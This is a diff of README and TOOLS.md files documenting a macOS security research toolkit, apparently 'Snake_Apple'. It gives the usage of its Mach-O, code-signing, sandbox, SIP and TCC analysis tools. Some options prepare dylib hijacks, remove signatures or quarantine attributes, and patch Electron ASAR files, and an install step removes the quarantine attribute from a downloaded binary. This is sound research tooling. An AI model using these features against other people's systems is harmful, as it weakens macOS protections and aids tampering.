||||
Print the redirectable paths from the sandbox
|
||||
container metadata as list
|
||||
--sandbox_parameters Print the parameters from the sandbox container
|
||||
metadata as key-value pairs
|
||||
--sandbox_entitlements
|
||||
Print the entitlements from the sandbox container
|
||||
metadata in JSON format
|
||||
--sandbox_build_uuid Print the sandbox build UUID from the sandbox
|
||||
container metadata
|
||||
--sandbox_redirected_paths
|
||||
Print the redirected paths from the sandbox container
|
||||
metadata as list
|
||||
--sandbox_system_images
|
||||
Print the system images from the sandbox container
|
||||
metadata as key-value pairs
|
||||
--sandbox_system_profiles
|
||||
Print the system profile from the sandbox container
|
||||
metadata in JSON format
|
||||
--sandbox_content_protection
|
||||
Print the content protection from the sandbox
|
||||
container metadata
|
||||
--sandbox_profile_data
|
||||
Print raw bytes ofthe sandbox profile data from the
|
||||
sandbox container metadata
|
||||
--dump_kext kext_name
|
||||
Dump the kernel extension binary from the
|
||||
kernelcache.decompressed file
|
||||
--extract_sandbox_operations
|
||||
Extract sandbox operations from the Sandbox.kext file
|
||||
|
||||
TCC ARGS:
|
||||
--tcc Print TCC permissions of the binary
|
||||
--tcc_fda Check Full Disk Access (FDA) TCC permission for the
|
||||
binary
|
||||
--tcc_automation Check Automation TCC permission for the binary
|
||||
--tcc_sysadmin Check System Policy SysAdmin Files TCC permission for
|
||||
the binary
|
||||
--tcc_desktop Check Desktop Folder TCC permission for the binary
|
||||
--tcc_documents Check Documents Folder TCC permission for the binary
|
||||
--tcc_downloads Check Downloads Folder TCC permission for the binary
|
||||
--tcc_photos Check Photos Library TCC permission for the binary
|
||||
--tcc_contacts Check Contacts TCC permission for the binary
|
||||
--tcc_calendar Check Calendar TCC permission for the binary
|
||||
--tcc_camera Check Camera TCC permission for the binary
|
||||
--tcc_microphone Check Microphone TCC permission for the binary
|
||||
--tcc_location Check Location Services TCC permission for the binary
|
||||
--tcc_recording Check Screen Recording TCC permission for the binary
|
||||
--tcc_accessibility Check Accessibility TCC permission for the binary
|
||||
--tcc_icloud Check iCloud (Ubiquity) TCC permission for the binary
|
||||
```
|
||||
* Example:
|
||||
```bash
|
||||
CrimsonUroboros.py -p PATH --info
|
||||
```
|
||||
***
|
||||
### [MachOFileFinder](I.%20Mach-O/python/MachOFileFinder.py)
|
||||
Designed to find ARM64 Mach-O binaries within a specified directory and print their file type.
|
||||
* Usage:
|
||||
```bash
|
||||
python MachOFileFinder.py PATH
|
||||
```
|
||||
* Example:
|
||||
```bash
|
||||
python MachOFileFinder.py . -r 2>/dev/null
|
||||
EXECUTE:/Users/karmaz95/t/pingsender
|
||||
DYLIB:/Users/karmaz95/t/dylibs/use_dylib_app/customs/custom.dylib
|
||||
BUNDLE:/Users/karmaz95/t/bundles/MyBundle
|
||||
```
|
||||
***
|
||||
### [TrustCacheParser](II.%20Code%20Signing/python/TrustCacheParser.py)
|
||||
Designed to parse trust caches and print it in human readable form (based on [PyIMG4](https://github.com/m1stadev/PyIMG4) and [trustcache](https://github.com/CRKatri/trustcache))
|
||||
* Usage:
|
||||
```console
|
||||
usage: TrustCacheParser [-h] [--dst DST] [--parse_img] [--parse_tc] [--print_tc] [--all]
|
||||
|
||||
Copy Trust Cache files to a specified destination.
|
||||
|
||||
options:
|
||||
-h, --help show this help message and exit
|
||||
--dst DST, -d DST Destination directory to copy Trust Cache files to.
|
||||
--parse_img Parse copied Image4 to extract payload data.
|
||||
--parse_tc Parse extract payload data to human-readable form trust cache using
|
||||
trustcache.
|
||||
--print_tc Print the contents of trust_cache (files must be in the current
|
||||
directory and ends with .trust_cache)
|
||||
--all parse_img -> parse_tc -> print_tc
|
||||
```
|
||||
***
|
||||
### [SignatureReader](II.%20Code%20Signing/python/SignatureReader.py)
|
||||
Designed to parse extracted cms sginature from Mach-O files.
|
||||
* Usage:
|
||||
```bash
|
||||
# First extract CMS Signature using CrimsonUroboros
|
||||
CrimsonUroboros -p target_binary --extract_cms cms_sign
|
||||
# or using extract_cms.sh script
|
||||
./extract_cms.sh target_binary cms_sign
|
||||
```
|
||||
|
||||
```console
|
||||
usage: SignatureReader [-h] [--load_cms cms_signature.der]
|
||||
[--extract_signature cms_signature.der]
|
||||
[--extract_pubkey cert_0] [--human]
|
||||
|
||||
CMS Signature Loader
|
||||
|
||||
options:
|
||||
-h, --help show this help message and exit
|
||||
--load_cms cms_signature.der
|
||||
Load the DER encoded CMS Signature from the filesystem
|
||||
and print it
|
||||
--extract_signature cms_signature.der
|
||||
Extract and print the signature part from the DER
|
||||
encoded CMS Signature
|
||||
--extract_pubkey cert_0
|
||||
Extract public key from the given certificate and save
|
||||
it to extracted_pubkey.pem
|
||||
--human Print in human-readable format
|
||||
❯ CrimsonUroboros -p signed_ad_hoc_example --extract_cms cms_sign
|
||||
```
|
||||
* Example:
|
||||
```bash
|
||||
SignatureReader --extract_signature cms_sign --human
|
||||
0x25ca80ad5f11be197dc7a2d53f3db5b6bf463a38224db8c0a17fa4b8fd5ad7e0c60f2be8e8849cf2e581272290991c0db40b0d452b2d2dbf230c0ccab3a6d78e0230bca7bccbc50d379372bcddd8d8542add5ec59180bc3409b2df3bd8995301b9ba1e65ac62420c75104f12cb58b430fde8a177a1cd03940d4b0e77a9d875d65552cf96f03cb63b437c36d9bab12fa727e17603da49fcb870edaec115f90def1ac2ad12c2e9349a5470b5ed2f242b5566cd7ddee785eff8ae5484f145a8464d4dc3891b10a3b2981e9add1e4c0aec31fa80320eb5494d9623400753adf24106efdd07ad657035ed2876e9460219944a4730b0b620954961350ddb1fcf0ea539
|
||||
```
|
||||
***
|
||||
### [extract_cms.sh](II.%20Code%20Signing/custom/extract_cms.sh)
|
||||
Designed to extract cms sginature from Mach-O files (bash alternative to `SingatureReader --extract_signature`).
|
||||
* Example:
|
||||
```
|
||||
./extract_cms.sh target_binary cms_sign
|
||||
```
|
||||
***
|
||||
### [ModifyMachOFlags](III.%20Checksec/python/ModifyMachOFlags.py)
|
||||
Designed to change Mach-O header flags.
|
||||
* Usage:
|
||||
```console
|
||||
usage: ModifyMachOFlags [-h] -i INPUT -o OUT [--flag FLAG] [--sign_binary [adhoc|identity_number]]
|
||||
|
||||
Modify the Mach-O binary flags.
|
||||
|
||||
options:
|
||||
-h, --help show this help message and exit
|
||||
-i INPUT, --input INPUT
|
||||
Path to the Mach-O file.
|
||||
-o OUT, --out OUT Where to save a modified file.
|
||||
--flag FLAG Specify the flag constant name and value (e.g., NO_HEAP_EXECUTION=1). Can be used multiple times. Available
|
||||
flags: NOUNDEFS, INCRLINK, DYLDLINK, BINDATLOAD, PREBOUND, SPLIT_SEGS, LAZY_INIT, TWOLEVEL, FORCE_FLAT,
|
||||
NOMULTIDEFS, NOFIXPREBINDING, PREBINDABLE, ALLMODSBOUND, SUBSECTIONS_VIA_SYMBOLS, CANONICAL, WEAK_DEFINES,
|
||||
BINDS_TO_WEAK, ALLOW_STACK_EXECUTION, ROOT_SAFE, SETUID_SAFE, NO_REEXPORTED_DYLIBS, PIE,
|
||||
DEAD_STRIPPABLE_DYLIB, HAS_TLV_DESCRIPTORS, NO_HEAP_EXECUTION, APP_EXTENSION_SAFE,
|
||||
NLIST_OUTOFSYNC_WITH_DYLDINFO, SIM_SUPPORT, DYLIB_IN_CACHE
|
||||
--sign_binary [adhoc|identity_number]
|
||||
Sign binary using specified identity - use : 'security find-identity -v -p codesigning' to get the
|
||||
identity. (default: adhoc)
|
||||
```
|
||||
* Example:
|
||||
```bash
|
||||
ModifyMachOFlags -i hello -o hello_modified --flag NO_HEAP_EXECUTION=1 --sign_binary
|
||||
```
|
||||
***
|
||||
### [LCFinder](III.%20Checksec/python/LCFinder.py)
|
||||
Designed to find if specified Load Command exist in the binary or list of binaries.
|
||||
* Usage:
|
||||
```console
|
||||
usage: LCFinder [-h] [--path PATH] [--list_path LIST_PATH] --lc LC
|
||||
|
||||
Check for a specific load command in Mach-O binaries.
|
||||
|
||||
options:
|
||||
-h, --help show this help message and exit
|
||||
--path PATH, -p PATH Absolute path to the valid MachO binary.
|
||||
--list_path LIST_PATH, -l LIST_PATH
|
||||
Path to a wordlist file containing absolute paths.
|
||||
--lc LC The load command to check for.
|
||||
```
|
||||
* Example:
|
||||
```bash
|
||||
LCFinder -l macho_paths.txt --lc SEGMENT_64 2>/dev/null
|
||||
LCFinder -p hello --lc lc_segment_64 2>/dev/null
|
||||
```
|
||||
***
|
||||
### [MachODylibLoadCommandsFinder](IV.%20Dylibs/python/MachODylibLoadCommandsFinder.py)
|
||||
Designed to Recursively crawl the system and parse Mach-O files to find DYLIB related load commands.
|
||||
Print the total Mach-O files analyzed and how many DYLIB-related LCs existed
|
||||
* Usage:
|
||||
```console
|
||||
MachODylibLoadCommandsFinder 2>/dev/null
|
||||
```
|
||||
***
|
||||
### [check_amfi](VI.%20AMFI/python/check_amfi.py)
|
||||
Simple script for calculating `amfiFlags` (described [here](https://karol-mazurek.medium.com/dyld-do-you-like-death-vi-1013a69118ff) in `ProcessConfig — AMFI properties`)
|
||||
* Usage:
|
||||
```console
|
||||
python3 check_amfi.py 0x1df
|
||||
```
|
||||
***
|
||||
### [make_bundle](App%20Bundle%20Extension/custom/make_bundle.sh)
|
||||
Build a codeless bundle with a red icon.
|
||||
* Usage:
|
||||
```console
|
||||
./make_bundle.sh
|
||||
```
|
||||
***
|
||||
### [make_bundle_exe](App%20Bundle%20Extension/custom/make_bundle_exe.sh)
|
||||
Bash template for building a PoC app bundle with Mach-O binary that utilizes Framework:
|
||||
* Usage:
|
||||
```console
|
||||
./make_bundle_exe.sh
|
||||
```
|
||||
***
|
||||
### [make_dmg](App%20Bundle%20Extension/custom/make_dmg.sh)
|
||||
Script for packing the app in a compressed DMG container:
|
||||
* Usage (change names in the script):
|
||||
```console
|
||||
./make_dmg.sh
|
||||
```
|
||||
### [electron_patcher](App%20Bundle%20Extension/custom/electron_patcher.py)
|
||||
Python script for extracting ASAR files from Electron apps and patching them with a custom ASAR file.
|
||||
```
|
||||
python3 electron_patcher.py extract app_bundle.app extracted_asar
|
||||
python3 electron_patcher.py pack extracted_asar app_bundle.app
|
||||
```
|
||||
### [sandbox_validator](VIII.%20Sandbox/custom/sandbox_validator.c)
|
||||
It can be used to quickly check if a given process is allowed to perform a particular operation while it is sandboxed.
|
||||
```bash
|
||||
# Compile
|
||||
clang -o sandbox_validator sandbox_validator.c
|
||||
|
||||
# Usage: sandbox_validator PID "OPERATION" "FILTER_NAME" "FILTER_VALUE"
|
||||
sandbox_validator 93298
|
||||
sandbox_validator 93298 "file-read*"
|
||||
sandbox_validator 93298 "file-read*" PATH "/users/karmaz/.trash"
|
||||
sandbox_validator 93298 "authorization-right-obtain" RIGHT_NAME "system.burn"
|
||||
```
|
||||
### [sandblaster](https://github.com/Karmaz95/sandblaster)
|
||||
This is my forked version of [sandblaster](https://github.com/cellebrite-labs/sandblaster) with MacOS Support:
|
||||
```bash
|
||||
python3 reverse_sandbox.py -o sonoma_sandbox_operations.txt profile_sb -r 17
|
||||
```
|
||||
### [sip_check](VIII.%20Sandbox/custom/sip_check.py)
|
||||
A simple program to check if SIP is enabled in the system with more details.
|
||||
It was introduced in [the article about SIP](https://karol-mazurek.medium.com/system-integrity-protection-sip-140562b07fea?sk=v2%2F9c293b8f-c376-4603-b8a1-2872ba3395cf)
|
||||
```bash
|
||||
python3 sip_check.py
|
||||
SIP Configuration Flags:
|
||||
CSR_ALLOW_UNTRUSTED_KEXTS: Off
|
||||
CSR_ALLOW_UNRESTRICTED_FS: Off
|
||||
CSR_ALLOW_TASK_FOR_PID: Off
|
||||
CSR_ALLOW_KERNEL_DEBUGGER: Off
|
||||
CSR_ALLOW_APPLE_INTERNAL: Off
|
||||
CSR_ALLOW_UNRESTRICTED_DTRACE: Off
|
||||
CSR_ALLOW_UNRESTRICTED_NVRAM: Off
|
||||
CSR_ALLOW_DEVICE_CONFIGURATION: Off
|
||||
CSR_ALLOW_ANY_RECOVERY_OS: Off
|
||||
CSR_ALLOW_UNAPPROVED_KEXTS: Off
|
||||
CSR_ALLOW_EXECUTABLE_POLICY_OVERRIDE: Off
|
||||
CSR_ALLOW_UNAUTHENTICATED_ROOT: Off
|
||||
```
|
||||
### [crimson_waccess.py](VIII.%20Sandbox/python/crimson_waccess.py)
|
||||
It can be use for checking the possibility of file modification and creation in a given directory.
|
||||
It was introduced in [the article about SIP](https://karol-mazurek.medium.com/system-integrity-protection-sip-140562b07fea?sk=v2%2F9c293b8f-c376-4603-b8a1-2872ba3395cf)
|
||||
```bash
|
||||
python3 crimson_waccess.py -f sip_protected_paths.txt
|
||||
```
|
||||
### [sip_tester](VIII.%20Sandbox/python/sip_tester)
|
||||
It can be used to check if a given path, process or service is SIP-protected and also to check missing paths from `rootless.conf`.
|
||||
It was introduced in [the article about SIP](https://karol-mazurek.medium.com/system-integrity-protection-sip-140562b07fea?sk=v2%2F9c293b8f-c376-4603-b8a1-2872ba3395cf)
|
||||
```bash
|
||||
sip_tester --path /bin
|
||||
sip_tester --pid 1234
|
||||
sip_tester --service com.apple.kernelmanager_helper
|
||||
sip_tester --missing_paths
|
||||
```
|
||||
### [UUIDFinder](IX.%20TCC/python/UUIDFinder.py)
|
||||
A tool for creating a centralized UUID database for macOS. It is used to find UUIDs of files and directories.
|
||||
It was introduced in the article [Apple UUID Finder](https://karol-mazurek.medium.com/apple-uuid-finder-a5173bdd1a8a?sk=v2%2F04bb0d32-6dc9-437d-bf72-8f65e03fed90)
|
||||
```bash
|
||||
usage: UUIDFinder [-h] [--path PATH | --list LIST] [--uuid UUID] [--delete] [--resolve] [--show_db] [--db_location DB_LOCATION]
|
||||
|
||||
UUIDFinder - A tool for managing Mach-O executable UUIDs
|
||||
|
||||
options:
|
||||
-h, --help show this help message and exit
|
||||
--path, -p PATH Path to the executable
|
||||
--list, -l LIST Path to a file containing a list of executables
|
||||
--uuid, -u UUID UUID to lookup or add
|
||||
--delete, -d Delete the path record from database
|
||||
--resolve, -r Get UUIDs for the path and add to database
|
||||
--show_db, -s Show all records in the database
|
||||
--db_location DB_LOCATION
|
||||
Location of the UUID database file
|
||||
|
||||
Examples:
|
||||
---------
|
||||
|
||||
1. Display UUIDs for a single executable from database:
|
||||
--path /path/to/executable
|
||||
-p /path/to/executable
|
||||
|
||||
2. Find path for a specific UUID in database:
|
||||
--uuid 123e4567-e89b-12d3-a456-426614174000
|
||||
-u 123e4567-e89b-12d3-a456-426614174000
|
||||
|
||||
3. Add or update UUID for a path:
|
||||
--path /path/to/executable --uuid 123e4567-e89b-12d3-a456-426614174000
|
||||
-p /path/to/executable -u 123e4567-e89b-12d3-a456-426614174000
|
||||
|
||||
4. Extract and add UUIDs from executable to database:
|
||||
--path /path/to/executable --resolve
|
||||
-p /path/to/executable -r
|
||||
|
||||
5. Delete path and its UUIDs from database:
|
||||
--path /path/to/executable --delete
|
||||
-p /path/to/executable -d
|
||||
|
||||
6. Process multiple executables from a list file:
|
||||
--list /path/to/list.txt --resolve
|
||||
-l /path/to/list.txt -r
|
||||
|
||||
7. Show all records in the database:
|
||||
--show_db
|
||||
-s
|
||||
|
||||
8. Use custom database location:
|
||||
--path /path/to/executable --db_location /custom/path/db.json
|
||||
-p /path/to/executable --db_location /custom/path/db.json
|
||||
|
||||
Notes:
|
||||
------
|
||||
- All UUIDs are stored in lowercase in the database
|
||||
- The default database file is 'uuid_database.json' in the current directory
|
||||
- When using --list, each path should be on a new line in the list file
|
||||
- The tool automatically converts relative paths to absolute paths
|
||||
```
|
||||
### [TCCParser](IX.%20TCC/python/TCCParser.py)
|
||||
A tool for querying macOS TCC (Transparency, Consent, and Control) databases.
|
||||
It was introduced in the article [](todo)
|
||||
```bash
|
||||
usage: TCCParser [-h] [-p PATH] [-t] [-a] [-l]
|
||||
|
||||
Parse TCC Database for Permissions Information
|
||||
|
||||
options:
|
||||
-h, --help Show this help message and exit
|
||||
-p PATH, --path PATH Path to TCC.db file to analyze
|
||||
-t, --table Output results in table format
|
||||
-a, --all Automatically query all available TCC databases on the system
|
||||
-l, --list_db List all available TCC databases on the system
|
||||
|
||||
Examples:
|
||||
---------
|
||||
|
||||
1. List all available TCC databases on the system:
|
||||
--list_db
|
||||
-l
|
||||
|
||||
2. Query a specific TCC database:
|
||||
--path /path/to/TCC.db
|
||||
-p /path/to/TCC.db
|
||||
|
||||
3. Display the query results in a formatted table:
|
||||
--path /path/to/TCC.db --table
|
||||
-p /path/to/TCC.db -t
|
||||
|
||||
4. Automatically query all known TCC databases:
|
||||
--all
|
||||
-a
|
||||
|
||||
Notes:
|
||||
------
|
||||
- The tool retrieves details such as client, service, and authorization status for each entry in the TCC database.
|
||||
- The `--list_db` option helps users locate all known TCC databases on the system, sourced from `REG.db`.
|
||||
```
|
||||
|
||||
## INSTALL
|
||||
```
|
||||
pip3 install -r requirements.txt
|
||||
wget https://github.com/CRKatri/trustcache/releases/download/v2.0/trustcache_macos_arm64 -O /usr/local/bin/trustcache
|
||||
chmod +x /usr/local/bin/trustcache
|
||||
xattr -d com.apple.quarantine /usr/local/bin/trustcache
|
||||
brew install keith/formulae/dyld-shared-cache-extractor
|
||||
brew install blacktop/tap/ipsw
|
||||
brew install tree
|
||||
```
|
||||
|
||||
## LIMITATIONS
|
||||
* Codesigning module(codesign wrapper) works only on macOS.
|
||||
* `--dylib_hijacking` needs [ipsw](https://github.com/blacktop/ipsw) to be installed.
|
||||
* `--dylibtree` needs the [dyld-shared-cache-extractor](https://github.com/keith/dyld-shared-cache-extractor) to be installed.
|
||||
|
||||
## WHY UROBOROS?
|
||||
I will write the code for each article as a class SnakeX, where X will be the article number, to make it easier for the audience to follow.
|
||||
Each Snake class will be a child of the previous one and infinitely "eat itself" (inherit methods of the previous class), like Uroboros.
|
||||
|
||||
## ADDITIONAL LINKS
|
||||
* [Apple Open Source](https://opensource.apple.com/releases/)
|
||||
* [XNU](https://github.com/apple-oss-distributions/xnu)
|
||||
* [dyld](https://github.com/apple-oss-distributions/dyld)
|
||||
|
||||
## TODO - IDEAS / IMPROVES
|
||||
* DER Entitlements converter method - currently, only the `convert_xml_entitlements_to_dict()` method exists. I need to create a Python parser for DER-encoded entitlements.
|
||||
* SuperBlob parser - to find other blobs in Code Signature.
|
||||
* Entitlements Blob parser - to check if XML and DER blobs exist.
|
||||
* Every method in the Snake class that use Entitlements should parse first XML > DER (currently, only XML parser exists)
|
||||
* After making a SuperBlob parser and CodeDirectory blob parser, modify hasHardenedRuntime to check Runtime flag by using bitmask, instead of string.
|
||||
* Build Dyld Shared Cache parser and extractor to make SnakeIV independant of dyld-shared-cache-extractor.
|
||||
* Create `RottenApple.app` in another repository and use it for testing.
|
||||
* Add Dyld Closure chapter to Snake&Apple V - Dyld.
|
||||
* Move `kext_prelinkinfo`, `dumpPrelink_info` and `dumpPrelink_text` to Snake & Apple chapter about Kernel Extensions when ready.
|
||||
* Add kernelcache parser.
|
||||
* Add `LC_FILESET_ENTRY` method to `dumpKernelExtension`.
|
||||
* Consider moving methods like `removeNullBytesAlignment`, `calcTwoComplement64` etc. to `Utils` class.
|
||||
* Move `--mig` option to Snake & Apple chapter about Mach Kernel when ready.
|
||||
* Make Thread manager class and improve the Threading.thread with tracing methods and `kill()`.
|
||||
* Reconsider moving --xattr like args to another Snake class related to filesystem.
|
||||
* Consider adding second option to dump Sandbox Operations based on this [Csaba Fitzl comment](https://x.com/theevilbit/status/1828773101041221755).
|
||||
## Repository popularity
|
||||
[](https://star-history.com/#Karmaz95/Snake_Apple)
|
||||
|
||||
733
TOOLS.md
Normal file
733
TOOLS.md
Normal file
@@ -0,0 +1,733 @@
|
||||
# TOOLS
|
||||
Here is the list of all tools in this repository:
|
||||
[CrimsonUroboros](#crimsonuroboros) • [MachOFileFinder](#machofilefinder) • [TrustCacheParser](#trustcacheparser) • [SignatureReader](#signaturereader) • [extract_cms.sh](#extract_cmssh) • [ModifyMachOFlags](#modifymachoflags) • [LCFinder](#lcfinder) • [MachODylibLoadCommandsFinder](#machodylibloadcommandsfinder) • [AMFI_test.sh](VI.%20AMFI/custom/AMFI_test.sh) • [make_plist](VIII.%20Sandbox/python/make_plist.py) • [sandbox_inspector](VIII.%20Sandbox/python/sandbox_inspector.py) • [spblp_compiler_wrapper](VIII.%20Sandbox/custom/sbpl_compiler_wrapper) • [make_bundle](#make_bundle) • [make_bundle_exe](#make_bundle_exe) • [make_dmg](#make_dmg) • [electron_patcher](#electron_patcher) • [sandbox_validator](#sandbox_validator) • [sandblaster](#sandblaster) • [sip_check](#sip_check) • [crimson_waccess.py](#crimson_waccesspy) • [sip_tester](#sip_tester) • [UUIDFinder](#uuidfinder) • [IOVerify](#ioverify) • [r2_dd](#r2_dd) • [find_symbol](#find_symbol)
|
||||
***
|
||||
|
||||
### [CrimsonUroboros](tests/CrimsonUroboros.py)
|
||||
Core program resulting from the Snake&Apple article series for binary analysis. You may find older versions of this script in each article directory in this repository.
|
||||
|
||||

|
||||
|
||||
#### WHY UROBOROS?
|
||||
I wrote the code for each article as a class `SnakeX`. The `X` was the article number, to make it easier for the audience to follow. Each `Snake` class is a child of the previous one. It infinitely "eats itself" (inherits methods of the last class), like Uroboros.
|
||||
|
||||
#### INSTALLATION
|
||||
```
|
||||
pip3 install -r requirements.txt
|
||||
wget https://github.com/CRKatri/trustcache/releases/download/v2.0/trustcache_macos_arm64 -O /usr/local/bin/trustcache
|
||||
chmod +x /usr/local/bin/trustcache
|
||||
xattr -d com.apple.quarantine /usr/local/bin/trustcache
|
||||
brew install keith/formulae/dyld-shared-cache-extractor
|
||||
brew install blacktop/tap/ipsw
|
||||
brew install tree
|
||||
```
|
||||
|
||||
#### LIMITATIONS
|
||||
* Codesigning module(codesign wrapper) works only on macOS.
|
||||
* `--dylib_hijacking` needs [ipsw](https://github.com/blacktop/ipsw) to be installed.
|
||||
* `--dylibtree` needs the [dyld-shared-cache-extractor](https://github.com/keith/dyld-shared-cache-extractor) to be installed.
|
||||
|
||||
#### Usage
|
||||
```console
|
||||
usage: CrimsonUroboros [-h] [-p PATH] [-b BUNDLE] [--bundle_structure] [--bundle_info] [--bundle_info_syntax_check]
|
||||
[--bundle_frameworks] [--bundle_plugins] [--bundle_id] [--file_type] [--header_flags]
|
||||
[--endian] [--header] [--load_commands] [--has_cmd LC_MAIN] [--segments]
|
||||
[--has_segment __SEGMENT] [--sections] [--has_section __SEGMENT,__section] [--symbols]
|
||||
[--imports] [--exports] [--imported_symbols] [--chained_fixups] [--exports_trie] [--uuid]
|
||||
[--main] [--encryption_info [(optional) save_path.bytes]] [--strings_section]
|
||||
[--all_strings] [--save_strings all_strings.txt] [--info]
|
||||
[--dump_data [offset,size,output_path]] [--calc_offset vm_offset] [--constructors]
|
||||
[--dump_section __SEGMENT,__section] [--dump_binary output_path] [--verify_signature]
|
||||
[--cd_info] [--cd_requirements] [--entitlements [human|xml|var]]
|
||||
[--extract_cms cms_signature.der] [--extract_certificates certificate_name]
|
||||
[--remove_sig unsigned_binary] [--sign_binary [adhoc|identity]] [--cs_offset] [--cs_flags]
|
||||
[--verify_bundle_signature] [--remove_sig_from_bundle] [--has_pie] [--has_arc]
|
||||
[--is_stripped] [--has_canary] [--has_nx_stack] [--has_nx_heap] [--has_xn] [--is_notarized]
|
||||
[--is_encrypted] [--is_restricted] [--is_hr] [--is_as] [--is_fort] [--has_rpath] [--has_lv]
|
||||
[--checksec] [--dylibs] [--rpaths] [--rpaths_u] [--dylibs_paths] [--dylibs_paths_u]
|
||||
[--broken_relative_paths] [--dylibtree [cache_path,output_path,is_extracted]] [--dylib_id]
|
||||
[--reexport_paths] [--hijack_sec] [--dylib_hijacking [(optional) cache_path]]
|
||||
[--dylib_hijacking_a [cache_path]] [--prepare_dylib [(optional) target_dylib_name]]
|
||||
[--is_built_for_sim] [--get_dyld_env] [--compiled_with_dyld_env] [--has_interposing]
|
||||
[--interposing_symbols] [--has_suid] [--has_sgid] [--has_sticky] [--injectable_dyld]
|
||||
[--test_insert_dylib] [--test_prune_dyld] [--test_dyld_print_to_file] [--test_dyld_SLC]
|
||||
[--xattr] [--xattr_value xattr_name] [--xattr_all] [--has_quarantine] [--remove_quarantine]
|
||||
[--add_quarantine] [--sandbox_container_path] [--sandbox_container_metadata]
|
||||
[--sandbox_redirectable_paths] [--sandbox_parameters] [--sandbox_entitlements]
|
||||
[--sandbox_build_uuid] [--sandbox_redirected_paths] [--sandbox_system_images]
|
||||
[--sandbox_system_profiles] [--sandbox_content_protection] [--sandbox_profile_data]
|
||||
[--extract_sandbox_operations] [--extract_sandbox_platform_profile] [--tcc] [--tcc_fda]
|
||||
[--tcc_automation] [--tcc_sysadmin] [--tcc_desktop] [--tcc_documents] [--tcc_downloads]
|
||||
[--tcc_photos] [--tcc_contacts] [--tcc_calendar] [--tcc_camera] [--tcc_microphone]
|
||||
[--tcc_location] [--tcc_recording] [--tcc_accessibility] [--tcc_icloud]
|
||||
[--parse_mpo mpo_addr] [--dump_prelink_info [(optional) out_name]]
|
||||
[--dump_prelink_text [(optional) out_name]] [--dump_prelink_kext [kext_name]]
|
||||
[--kext_prelinkinfo [kext_name]] [--kmod_info kext_name] [--kext_entry kext_name]
|
||||
[--kext_exit kext_name] [--mig] [--dump_kext kext_name]
|
||||
|
||||
Mach-O files parser for binary analysis
|
||||
|
||||
options:
|
||||
-h, --help show this help message and exit
|
||||
|
||||
GENERAL ARGS:
|
||||
-p, --path PATH Path to the Mach-O file
|
||||
-b, --bundle BUNDLE Path to the App Bundle (can be used with -p to change path of binary which is by default
|
||||
set to: /target.app/Contents/MacOS/target)
|
||||
|
||||
BUNDLE ARGS:
|
||||
--bundle_structure Print the structure of the app bundle
|
||||
--bundle_info Print the Info.plist content of the app bundle (JSON format)
|
||||
--bundle_info_syntax_check
|
||||
Check if bundle info syntax is valid
|
||||
--bundle_frameworks Print the list of frameworks in the bundle
|
||||
--bundle_plugins Print the list of plugins in the bundle
|
||||
--bundle_id Print the CFBundleIdentifier value from the Info.plist file if it exists
|
||||
|
||||
MACH-O ARGS:
|
||||
--file_type Print binary file type
|
||||
--header_flags Print binary header flags
|
||||
--endian Print binary endianess
|
||||
--header Print binary header
|
||||
--load_commands Print binary load commands names
|
||||
--has_cmd LC_MAIN Check of binary has given load command
|
||||
--segments Print binary segments in human-friendly form
|
||||
--has_segment __SEGMENT
|
||||
Check if binary has given '__SEGMENT'
|
||||
--sections Print binary sections in human-friendly form
|
||||
--has_section __SEGMENT,__section
|
||||
Check if binary has given '__SEGMENT,__section'
|
||||
--symbols Print all binary symbols
|
||||
--imports Print imported symbols
|
||||
--exports Print exported symbols
|
||||
--imported_symbols Print symbols imported from external libraries with dylib names
|
||||
--chained_fixups Print Chained Fixups information
|
||||
--exports_trie Print Export Trie information
|
||||
--uuid Print UUID
|
||||
--main Print entry point and stack size
|
||||
--encryption_info [(optional) save_path.bytes]
|
||||
Print encryption info if any. Optionally specify an output path to dump the encrypted data
|
||||
(if cryptid=0, data will be in plain text)
|
||||
--strings_section Print strings from __cstring section
|
||||
--all_strings Print strings from all sections
|
||||
--save_strings all_strings.txt
|
||||
Parse all sections, detect strings, and save them to a file
|
||||
--info Print header, load commands, segments, sections, symbols, and strings
|
||||
--dump_data [offset,size,output_path]
|
||||
Dump {size} bytes starting from {offset} to a given {filename} (e.g.
|
||||
'0x1234,0x1000,out.bin')
|
||||
--calc_offset vm_offset
|
||||
Calculate the real address (file on disk) of the given Virtual Memory {vm_offset} (e.g.
|
||||
0xfffffe000748f580)
|
||||
--constructors Print binary constructors
|
||||
--dump_section __SEGMENT,__section
|
||||
Dump '__SEGMENT,__section' to standard output as a raw bytes
|
||||
--dump_binary output_path
|
||||
Dump arm64 binary to a given file
|
||||
|
||||
CODE SIGNING ARGS:
|
||||
--verify_signature Code Signature verification (if the contents of the binary have been modified)
|
||||
--cd_info Print Code Signature information
|
||||
--cd_requirements Print Code Signature Requirements
|
||||
--entitlements [human|xml|var]
|
||||
Print Entitlements in a human-readable, XML, or DER format (default: human)
|
||||
--extract_cms cms_signature.der
|
||||
Extract CMS Signature from the Code Signature and save it to a given file
|
||||
--extract_certificates certificate_name
|
||||
Extract Certificates and save them to a given file. To each filename will be added an index
|
||||
at the end: _0 for signing, _1 for intermediate, and _2 for root CA certificate
|
||||
--remove_sig unsigned_binary
|
||||
Save the new file on a disk with removed signature
|
||||
--sign_binary [adhoc|identity]
|
||||
Sign binary using specified identity - use : 'security find-identity -v -p codesigning' to
|
||||
get the identity (default: adhoc)
|
||||
--cs_offset Print Code Signature file offset
|
||||
--cs_flags Print Code Signature flags
|
||||
--verify_bundle_signature
|
||||
Code Signature verification (if the contents of the bundle have been modified)
|
||||
--remove_sig_from_bundle
|
||||
Remove Code Signature from the bundle
|
||||
|
||||
CHECKSEC ARGS:
|
||||
--has_pie Check if Position-Independent Executable (PIE) is set
|
||||
--has_arc Check if Automatic Reference Counting (ARC) is in use (can be false positive)
|
||||
--is_stripped Check if binary is stripped
|
||||
--has_canary Check if Stack Canary is in use (can be false positive)
|
||||
--has_nx_stack Check if stack is non-executable (NX stack)
|
||||
--has_nx_heap Check if heap is non-executable (NX heap)
|
||||
--has_xn Check if binary is protected by eXecute Never (XN) ARM protection
|
||||
--is_notarized Check if the application is notarized and can pass the Gatekeeper verification
|
||||
--is_encrypted Check if the application is encrypted (has LC_ENCRYPTION_INFO(_64) and cryptid set to 1)
|
||||
--is_restricted Check if binary has __RESTRICT segment or CS_RESTRICT flag set
|
||||
--is_hr Check if the Hardened Runtime is in use
|
||||
--is_as Check if the App Sandbox is in use
|
||||
--is_fort Check if the binary is fortified
|
||||
--has_rpath Check if the binary utilise any @rpath variables
|
||||
--has_lv Check if the binary has Library Validation (protection against Dylib Hijacking)
|
||||
--checksec Run all checksec module options on the binary
|
